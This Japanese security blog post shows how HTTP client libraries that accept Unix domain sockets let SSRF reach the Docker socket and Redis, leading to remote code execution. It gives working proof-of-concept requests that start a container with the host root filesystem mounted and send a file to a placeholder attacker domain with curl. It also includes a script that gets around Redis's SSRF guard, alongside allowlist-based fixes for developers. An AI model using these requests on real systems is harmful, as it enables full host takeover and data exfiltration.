
Not Only SSRF But Also RCE - HTTPクライアントに潜むセキュリティリスク
オフェンシブセキュリティ部高度診断課の中村です。
Webアプリケーションの脆弱性の一つに、サーバ自身に任意の宛先へリクエストを送信させる Server-Side Request Forgery (SSRF) があります。SSRF は一般に、内部ネットワークへのアクセスやポートスキャン、クラウドのメタデータエンドポイントの読み取りといったリスクが考えられます。
ですが、コンピュータの通信は TCP/IP スタックを用いたコンピュータ間の通信だけではありません。同一マシン上のプロセス間通信を行う手段として Unix Domain Socket (UDS) があり、リクエストの送信先として UDS を指定できてしまう場合があります。UDS の中には、Remote Code Execution (RCE) に直結するものも存在します。
本記事では、HTTPクライアントを利用する開発者に向けて、ネットワーク上のホストだけでなく、UDSを指定する攻撃ベクタも存在することを、具体的な挙動とともに解説します。
目次
UDSを指定できてしまう関数
開発者が普段利用するHTTPクライアントの中には、UDSを指定できるものも存在します。
ここでは、UDSを指定できてしまうことがどのようなリスクに繋がるのかを解説します。
URLからUDSを指定
危険な実装
事前知識として、HTTPクライアント機能を持つJavaScriptライブラリのgotでは、以下のようなURLでUDSを指定することができます。
http://unix:</path/to/uds>:/<path>
上記のURLを使用するには、enableUnixSocketsオプションをtrueにする必要があります。
この仕様を踏まえた上で、以下のようなWebアプリケーションを考えてみます。
const express = require('express');
const got = require('got');
const app = express();
const port = 3000;
app.use(express.json());
app.post('/fetch', async (req, res) => {
const { url, options } = req.body;
const response = await got.default(url, options);
res.send(response.body);
});
app.listen(port);
このWebアプリケーションは、ユーザが指定したURLとオプションでHTTPリクエストを送信でき、送信先の制限も無いため、SSRFが可能です。
ですが、SSRF以外にも、この状態からUDSを用いることで、RCEまで達成できる可能性があります。
RCEに繋がる例の一つとして、DockerのUDSを用いるものがあります。
Dockerでは、Docker CLI とコンテナ管理を担うデーモンである Docker Engine (dockerd) が分離しており、両者は API を介して通信します。この API のエンドポイントとして既定で使われるのが、/var/run/docker.sock という UDS です。
この UDS と通信できるということは、Docker デーモンの API を自由に呼び出せることを意味します。Docker デーモンは通常 root 権限で動作しており、その API にはコンテナの作成・起動や、ホストのファイルシステムをコンテナにマウントする機能が含まれています。
そのため、/var/run/docker.sock に到達できる時点で、ホストのルートファイルシステムをマウントしたコンテナを起動し、その中から実質的に root 権限で任意のコマンドを実行できてしまいます。これは事実上、ホストの完全な掌握と同義です。
確認手順
具体的には以下に示す方法でRCEが達成できます。
まず、ルートディレクトリ直下にflag.txtを配置しておきます。
$ echo 'flag{uds}'>/flag.txt
以下のリクエストで、enableUnixSocketsを有効化しつつDockerのUDSを指定し、ホストのルートディレクトリがコンテナの/hostディレクトリにバインドされたコンテナを作成します。コンテナのエントリポイントには/host/flag.txtの内容を外部サーバに送信するコマンドを指定します。この時、<your domain> には攻撃者のサーバのドメインが入ります。
HTTPリクエスト(1)
POST /fetch HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{
"url": "http://unix:/var/run/docker.sock:/containers/create?name=uds",
"options": {
"method": "POST",
"enableUnixSockets": true,
"json": {
"Image": "curlimages/curl:latest",
"Cmd": ["/bin/sh", "-c", "curl https://<your domain>/?res=$(base64 -w0 /host/flag.txt)"],
"HostConfig": {
"Binds": ["/:/host"]
}
}
}
}
HTTPレスポンス(1)
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 88
ETag: W/"58-N4up5M6fsLharHZZW9cud0pbt1I"
Date: Mon, 20 Jul 2026 14:38:57 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"Id":"fd7193f66c2185d0fe6f9ebbe0f04ea417bd156607db3011cf3ea6ff2997f3b5","Warnings":[]}
続いて以下のリクエストで、作成したコンテナを起動します。この時コンテナ名を指定しておくと、起動するコンテナをコンテナ名で指定でき、HTTPレスポンスからコンテナIDを取得する必要がなくなります。
HTTPリクエスト(2)
POST /fetch HTTP/1.1
Host: localhost:3000
Content-Type: application/json
{
"url": "http://unix:/var/run/docker.sock:/containers/uds/start",
"options": {
"method": "POST",
"enableUnixSockets": true
}
}
HTTPレスポンス(2)
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 0
ETag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
Date: Mon, 20 Jul 2026 14:42:05 GMT
Connection: keep-alive
Keep-Alive: timeout=5
外部サーバにbase64エンコードされたflag.txtの内容が送信されるのを確認します。

$ echo 'ZmxhZ3t1ZHN9Cg=='|base64 -d
flag{uds}
このように、任意のUDSを指定できてしまうことは、指定するUDS次第でRCEにまで発展しうるリスクとなります。
このリスクが問題となるのは、以下の前提条件が満たされる場合です。
・アプリケーションのプロセスがこのUDSに到達しうる構成になっている(コンテナに /var/run/docker.sock がマウントされている、かつホスト上でソケットへのアクセス権を持って動作している)
・UDSに対して POST /containers/create と POST /containers/<name>/start リクエストを送信できてしまう
例えば、Web上でコードを実行できるサービスでユーザが投稿したコードを裏でコンテナを使って実行する等が挙げられます。このように、こうしたサービスではコード実行を担うプロセスからDockerのデーモンソケットが到達可能な構成になりやすく、前提条件が満たされやすくなります。
安全な実装
上記の実装の問題は、ユーザ入力の url と options を検証せずにHTTPクライアントへ渡している点です。
対策として、接続先ホスト、オプション、ヘッダ等を許可リストで検証することを推奨します。
以下のコードは対策を施した実装の一例です。
const express = require('express');
const got = require('got');
const app = express();
const port = 3000;
app.use(express.json());
const ALLOWED_HOSTS = new Set(['gmo-cybersecurity.com']);
const ALLOWED_OPTIONS = ['method', 'headers', 'searchParams'];
const ALLOWED_HEADERS = new Set(['accept', 'accept-language', 'content-type']);
app.post('/fetch', async (req, res) => {
const { url, options } = req.body;
const parsed = new URL(url);
// protocol validation
if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
res.status(400).send('disallowed protocol');
return;
}
// host validation
if (!ALLOWED_HOSTS.has(parsed.hostname) || parsed.port !== '') {
res.status(400).send('disallowed host');
return;
}
// only safe options
const safeOptions = { followRedirect: false, enableUnixSockets: false };
for (const key of ALLOWED_OPTIONS) {
if (options[key] !== undefined) safeOptions[key] = options[key];
}
// only safe headers
if (safeOptions.headers !== undefined) {
const safeHeaders = {};
for (const key of Object.keys(safeOptions.headers)) {
if (ALLOWED_HEADERS.has(key.toLowerCase())) safeHeaders[key] = safeOptions.headers[key];
}
safeOptions.headers = safeHeaders;
}
const response = await got.default(parsed, safeOptions);
res.send(response.body);
});
app.listen(port);
便宜上、実装は最小限にしています。特に本番環境では適切なエラーハンドリングを施すことを推奨します。
リクエストオプションからUDSを指定
危険な実装
PHPのライブラリであるGuzzleのHTTP Clientのrequestメソッドの第三引数にはcurlのオプションを指定することができ、curlのCURLOPT_UNIX_SOCKET_PATHオプションからUDSを指定することができます。
ping.php
<?php
require 'vendor/autoload.php';
use GuzzleHttp\Client;
$client = new Client();
$res = $client->request('GET', 'http://localhost/_ping', [
'curl' => [
CURLOPT_UNIX_SOCKET_PATH => '/var/run/docker.sock'
]
]);
echo $res->getBody();
$ php ping.php
OK
例えば以下のような、ユーザ入力を基にHTTPリクエストを送信するWebアプリケーションがある場合を考えます。
index.php
<?php
require 'vendor/autoload.php';
use GuzzleHttp\Client;
$json_data = json_decode(file_get_contents('php://input'), true);
$client = new Client();
$res = $client->request($_SERVER['REQUEST_METHOD'], $json_data['url'], $json_data['opts']);
echo $res->getBody();
URLだけでなく、オプションもユーザ入力をそのまま使用するため、gotの場合と同様にDockerのUDSを指定し、ホストマシンにあるflag.txtを外部サーバに送信することができます。
確認手順
以下のリクエストでコンテナを作成します。この時、<your domain> には攻撃者のサーバのドメインが入ります。
HTTPリクエスト(1)
POST / HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 435
{
"url": "http://localhost/containers/create?name=uds",
"opts": {
"curl": {
"10231": "/var/run/docker.sock"
},
"json": {
"Image":"curlimages/curl:latest",
"Cmd": ["/bin/sh", "-c", "curl https://<your domain>/?res=$(base64 -w0 /host/flag.txt)"],
"HostConfig": {
"Binds": ["/:/host"]
}
}
}
}
HTTPレスポンス(1)
HTTP/1.1 200 OK
Host: localhost:3000
Date: Mon, 20 Jul 2026 14:50:09 GMT
Connection: close
X-Powered-By: PHP/8.4.16
Content-type: text/html; charset=UTF-8
{"Id":"8545f3876e0552802f06f42c0e79d94bd4d1ab7653e5fcc9f8a18570509905f3","Warnings":[]}
オプションについて補足です。CURLOPT_UNIX_SOCKET_PATH はPHPの定数であるため、実際の値は 10231 になります。
以下のリクエストで作成したコンテナを起動します。
HTTPリクエスト(2)
POST / HTTP/1.1
Host: localhost:3000
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 156
{
"url": "http://localhost/containers/uds/start",
"opts": {
"curl": {
"10231": "/var/run/docker.sock"
}
}
}
HTTPレスポンス(2)
HTTP/1.1 200 OK
Host: localhost:3000
Date: Mon, 20 Jul 2026 14:51:55 GMT
Connection: close
X-Powered-By: PHP/8.4.16
Content-type: text/html; charset=UTF-8
上記により、先述のように外部サーバにflag.txtの内容が送信されます。
安全な実装
上記の実装の場合も同様に、接続先ホスト、オプション、ヘッダ等を許可リストで検証することを推奨します。
以下のコードは対策を施した実装の一例です。
<?php
require 'vendor/autoload.php';
use GuzzleHttp\Client;
use GuzzleHttp\Psr7\Uri;
const ALLOWED_HOSTS = ['gmo-cybersecurity.com'];
const ALLOWED_SCHEMES = ['http', 'https'];
const ALLOWED_OPTIONS = ['headers', 'query'];
const ALLOWED_HEADERS = ['accpet', 'accept-language', 'content-type'];
$json = json_decode(file_get_contents('php://input'), true);
$method = strtoupper($_SERVER['REQUEST_METHOD']);
$url = $json['url'] ?? '';
$opts = is_array($json['opts'] ?? null) ? $json['opts'] : [];
$uri = new Uri($url);
// protocol validation
if (!in_array(strtolower($uri->getScheme()), ALLOWED_SCHEMES, true)) {
http_response_code(400);
echo 'disallowed protocol';
return;
}
// host validation
$port = $uri->getPort();
$host = $uri->getHost();
if (!in_array($host, ALLOWED_HOSTS, true) || $port !== '') {
http_response_code(400);
echo 'disallowed host';
return;
}
// only safe options
$safeOpts = ['allow_redirects' => false];
foreach (ALLOWED_OPTIONS as $key) {
if (isset($opts[$key])) $safeOpts[$key] = $opts[$key];
}
// only safe headers
if (isset($safeOpts['headers']) && is_array($safeOpts['headers'])) {
$safeHeaders = [];
foreach ($safeOpts['headers'] as $name => $value) {
if (in_array(strtolower($name), ALLOWED_HEADERS, true)) {
$safeHeaders[$name] = $value;
}
}
$safeOpts['headers'] = $safeHeaders;
}
$res = (new Client())->request($method, $uri, $safeOpts);
echo $res->getBody();
便宜上、実装は最小限にしています。特に本番環境では適切なエラーハンドリングを施すことを推奨します。
その他UDSを指定できるライブラリ
その他にも、引数にUDSを指定できてしまうライブラリは存在します。UDSを指定できるライブラリを以下にまとめています。
| 言語 | ライブラリ名 | 関数/メソッド | 引数 | 値 | 備考 |
|---|---|---|---|---|---|
| PHP | Guzzle | new GuzzleHttp\Client()→request($method, $url, $opts) | 第三引数 | [‘curl’ => [10231 => ‘/var/run/docker.sock’]] | |
| JavaScript | got | got(url, options) | 第一引数 | http://unix:/var/run/docker.sock:/_ping | 第二引数でenableUnixSocketsをtrueにする必要あり |
| JavaScript | Node.js httpモジュール | request(options[, callback]) get(options[, callback]) | 第一引数 | { socketPath: ‘/var/run/docker.sock’ } | |
| JavaScript | axios | axios(config) axios.get(url[, config]) | 第一引数 第二引数 | { socketPath: ‘/var/run/docker.sock’ } |
UDS経由での他プログラムへのコマンド送信
これまで紹介してきたのは、任意のUDSへHTTPリクエストを送信して通信を行うものでした。それ以外にも、他プログラムのコマンドをHTTPリクエスト経由で送信できる場合があります。
例えばRedisは送られてきたデータを一行ずつ読み、それらをコマンドとして解釈します。その際に無効なコマンドがあった場合でも、エラーを出力した後、次の行へ進むためHTTPリクエストの中にコマンドを入れることができます。
ただし Redis は内部で SSRF 等への対策を行っており、host: や post が大文字・小文字を問わず含まれていた場合は、即座に通信を切断します。
if (!strcasecmp(c->argv[0]->ptr,"host:") || !strcasecmp(c->argv[0]->ptr,"post")) {
securityWarningCommand(c);
return C_ERR;
}
これを踏まえた上で、Node.jsのhttpモジュールを使って、RedisのUDSにPINGコマンドを送信するスクリプトを以下に示します。
ping.js
const http = require('http');
const socketPath = process.argv[2];
const payload = 'PING\r\n';
const req = http.request({
socketPath: socketPath,
method: 'GET', // bypass post
path: '/',
setHost: false, // bypass host:
headers: { 'Content-Length': Buffer.byteLength(payload) },
});
req.on('socket', (socket) => {
socket.on('data', (chunk) => {
process.stdout.write('redis raw reply:\n' + chunk.toString());
});
});
req.on('error', (err) => {
console.error('(http parser error, expected):', err.code || err.message);
});
req.write(payload);
req.end();
実行結果は以下のとおりです。
$ node ping.js </path/to/uds>
(http parser error, expected): HPE_INVALID_CONSTANT
redis raw reply:
-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Content-Length:', with args beginning with: '6'
-ERR unknown command 'Connection:', with args beginning with: 'keep-alive'
+PONG
対策
対策として、ユーザ入力を直接使用せずに、接続先ホスト、オプション、ヘッダ等を許可リストで検証することを推奨します。
おわりに
本記事では、HTTPリクエストを送信する関数に潜むリスクが SSRF に留まらず、最悪の場合は RCE にまで発展しうることを解説しました。
本記事が、セキュリティ意識を高める一助となれば幸いです。
関連CVE
JavaScriptのライブラリgotにおける、リダイレクト先にUDSを許可してしまう脆弱性 (CVE-2022-33987)
参考: https://nvd.nist.gov/vuln/detail/CVE-2022-33987
